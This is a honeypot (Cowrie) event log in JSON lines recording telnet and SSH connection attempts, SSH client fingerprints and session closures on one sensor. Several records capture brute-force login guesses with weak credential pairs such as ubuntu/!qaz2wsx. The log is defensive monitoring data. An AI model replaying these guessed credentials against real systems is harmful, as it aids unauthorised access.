{"eventid":"cowrie.session.closed","duration":6.417608976364136,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:57.732715Z","src_ip":"188.208.141.113","session":"b33b8d644168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9ba1cb2cd8","protocol":"telnet","message":"New connection: 206.189.32.23:53770 (10.17.0.5:23) [session: 4f9ba1cb2cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:01.792505Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":43042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6233e038f4","protocol":"ssh","message":"New connection: 61.222.211.114:43042 (10.17.0.5:22) [session: 7a6233e038f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:04.419025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:04.423060Z","src_ip":"61.222.211.114","session":"7a6233e038f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.441088438034058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:04.442656Z","src_ip":"104.245.105.2","session":"b0ef47282bab","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:04.634954Z","src_ip":"61.222.211.114","session":"7a6233e038f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456","message":"login attempt [test1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:05.511584Z","src_ip":"61.222.211.114","session":"7a6233e038f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.832426071166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:05.516996Z","src_ip":"104.245.105.2","session":"c118fdfaebd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"318afbced0a1","protocol":"telnet","message":"New connection: 206.189.32.23:57954 (10.17.0.5:23) [session: 318afbced0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:05.868661Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:06.725490Z","src_ip":"61.222.211.114","session":"7a6233e038f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46604,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b8c1a4edd7","protocol":"telnet","message":"New connection: 104.245.105.2:46604 (10.17.0.5:23) [session: d9b8c1a4edd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:08.333778Z"}
{"eventid":"cowrie.session.closed","duration":120.00105285644531,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:09.611828Z","src_ip":"206.189.32.23","session":"9904e9182451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77788949012756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:16.194747Z","src_ip":"104.245.105.2","session":"0dd473dbd6f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41454,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19325ea6d03","protocol":"telnet","message":"New connection: 206.189.32.23:41454 (10.17.0.5:23) [session: b19325ea6d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:17.669778Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aab05fa96a4","protocol":"telnet","message":"New connection: 185.26.126.47:53604 (159.203.135.109:23) [session: 1aab05fa96a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:17.766984Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"136c6ef3e7de","protocol":"telnet","message":"New connection: 104.245.105.2:37840 (10.17.0.5:23) [session: 136c6ef3e7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:19.792691Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"5220010a14ab","protocol":"telnet","message":"New connection: 206.189.32.23:49516 (10.17.0.5:23) [session: 5220010a14ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:27.117428Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41212,"dst_ip":"10.17.0.5","dst_port":23,"session":"196c945ea23c","protocol":"telnet","message":"New connection: 104.245.105.2:41212 (10.17.0.5:23) [session: 196c945ea23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:30.699555Z"}
{"eventid":"cowrie.session.closed","duration":13.422022581100464,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:31.188867Z","src_ip":"185.26.126.47","session":"1aab05fa96a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41222,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db1ddee2f8b","protocol":"telnet","message":"New connection: 104.245.105.2:41222 (10.17.0.5:23) [session: 0db1ddee2f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:34.883555Z"}
{"eventid":"cowrie.session.closed","duration":31.083248615264893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:39.416940Z","src_ip":"104.245.105.2","session":"d9b8c1a4edd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44142,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f01cfc6fbb","protocol":"telnet","message":"New connection: 104.245.105.2:44142 (10.17.0.5:23) [session: 94f01cfc6fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:49.522641Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58782,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5d17b60e8c","protocol":"telnet","message":"New connection: 104.245.105.2:58782 (10.17.0.5:23) [session: 2e5d17b60e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:50.991214Z"}
{"eventid":"cowrie.session.closed","duration":31.383307456970215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:51.175919Z","src_ip":"104.245.105.2","session":"136c6ef3e7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44160,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6eeb99fcad1","protocol":"telnet","message":"New connection: 104.245.105.2:44160 (10.17.0.5:23) [session: a6eeb99fcad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:52.799307Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd74199f1e4","protocol":"telnet","message":"New connection: 104.245.105.2:44162 (10.17.0.5:23) [session: 6fd74199f1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:57.815000Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":51700,"dst_ip":"10.17.0.5","dst_port":22,"session":"424b70c528a2","protocol":"ssh","message":"New connection: 190.108.60.10:51700 (10.17.0.5:22) [session: 424b70c528a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:58.658778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:58.663333Z","src_ip":"190.108.60.10","session":"424b70c528a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:58.864445Z","src_ip":"190.108.60.10","session":"424b70c528a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r5t","message":"login attempt [user/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:59:59.714161Z","src_ip":"190.108.60.10","session":"424b70c528a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52822,"dst_ip":"10.17.0.5","dst_port":22,"session":"090b60b79094","protocol":"ssh","message":"New connection: 61.222.211.114:52822 (10.17.0.5:22) [session: 090b60b79094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:00.019225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:00.033959Z","src_ip":"61.222.211.114","session":"090b60b79094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:00.252411Z","src_ip":"61.222.211.114","session":"090b60b79094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:00.925750Z","src_ip":"190.108.60.10","session":"424b70c528a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!qaz2wsx","message":"login attempt [ubuntu/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:01.147464Z","src_ip":"61.222.211.114","session":"090b60b79094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.662074089050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:02.361526Z","src_ip":"104.245.105.2","session":"196c945ea23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:02.367933Z","src_ip":"61.222.211.114","session":"090b60b79094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.036463022232056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:05.919915Z","src_ip":"104.245.105.2","session":"0db1ddee2f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60762,"dst_ip":"159.203.135.109","dst_port":23,"session":"88c1f1d8a4d4","protocol":"telnet","message":"New connection: 162.55.233.176:60762 (159.203.135.109:23) [session: 88c1f1d8a4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:08.203933Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48144,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db1b8678163","protocol":"telnet","message":"New connection: 104.245.105.2:48144 (10.17.0.5:23) [session: 1db1b8678163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:15.759314Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41616,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a6c3c5bcc3","protocol":"telnet","message":"New connection: 104.245.105.2:41616 (10.17.0.5:23) [session: 36a6c3c5bcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:19.676304Z"}
{"eventid":"cowrie.session.closed","duration":30.694458723068237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:20.216995Z","src_ip":"104.245.105.2","session":"94f01cfc6fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ac6483b9cf","protocol":"telnet","message":"New connection: 104.245.105.2:41622 (10.17.0.5:23) [session: c8ac6483b9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:21.714427Z"}
{"eventid":"cowrie.session.closed","duration":30.69354248046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:23.492740Z","src_ip":"104.245.105.2","session":"a6eeb99fcad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.382688760757446,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:24.500000Z","src_ip":"206.189.32.23","session":"5220010a14ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.949663162231445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:30.764544Z","src_ip":"104.245.105.2","session":"6fd74199f1e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.72453808784485,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:35.715656Z","src_ip":"104.245.105.2","session":"2e5d17b60e8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cbca5489eb4","protocol":"telnet","message":"New connection: 188.208.141.113:43032 (10.17.0.5:23) [session: 1cbca5489eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:37.186970Z"}
{"eventid":"cowrie.session.closed","duration":31.51506781578064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:39.718867Z","src_ip":"162.55.233.176","session":"88c1f1d8a4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a772d6aeed35","protocol":"telnet","message":"New connection: 104.245.105.2:60582 (10.17.0.5:23) [session: a772d6aeed35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:39.814086Z"}
{"eventid":"cowrie.session.closed","duration":31.456923007965088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:47.216116Z","src_ip":"104.245.105.2","session":"1db1b8678163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685420751571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:50.361561Z","src_ip":"104.245.105.2","session":"36a6c3c5bcc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.77.199.48","src_port":23061,"dst_ip":"10.17.0.5","dst_port":23,"session":"af11cf750d02","protocol":"telnet","message":"New connection: 186.77.199.48:23061 (10.17.0.5:23) [session: af11cf750d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:54.656188Z"}
{"eventid":"cowrie.session.closed","duration":36.14361524581909,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:57.857856Z","src_ip":"104.245.105.2","session":"c8ac6483b9cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51850,"dst_ip":"10.17.0.5","dst_port":22,"session":"6636f8abc6d6","protocol":"ssh","message":"New connection: 61.222.211.114:51850 (10.17.0.5:22) [session: 6636f8abc6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:59.445258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:59.450983Z","src_ip":"61.222.211.114","session":"6636f8abc6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:00:59.662652Z","src_ip":"61.222.211.114","session":"6636f8abc6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password1234","message":"login attempt [user/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:00.539603Z","src_ip":"61.222.211.114","session":"6636f8abc6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:01.755231Z","src_ip":"61.222.211.114","session":"6636f8abc6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00115895271301,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:01.793514Z","src_ip":"206.189.32.23","session":"4f9ba1cb2cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53628,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e891ffde05","protocol":"telnet","message":"New connection: 104.245.105.2:53628 (10.17.0.5:23) [session: 43e891ffde05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:03.642574Z"}
{"eventid":"cowrie.session.closed","duration":120.00151085853577,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:05.869975Z","src_ip":"206.189.32.23","session":"318afbced0a1","protocol":"telnet"}
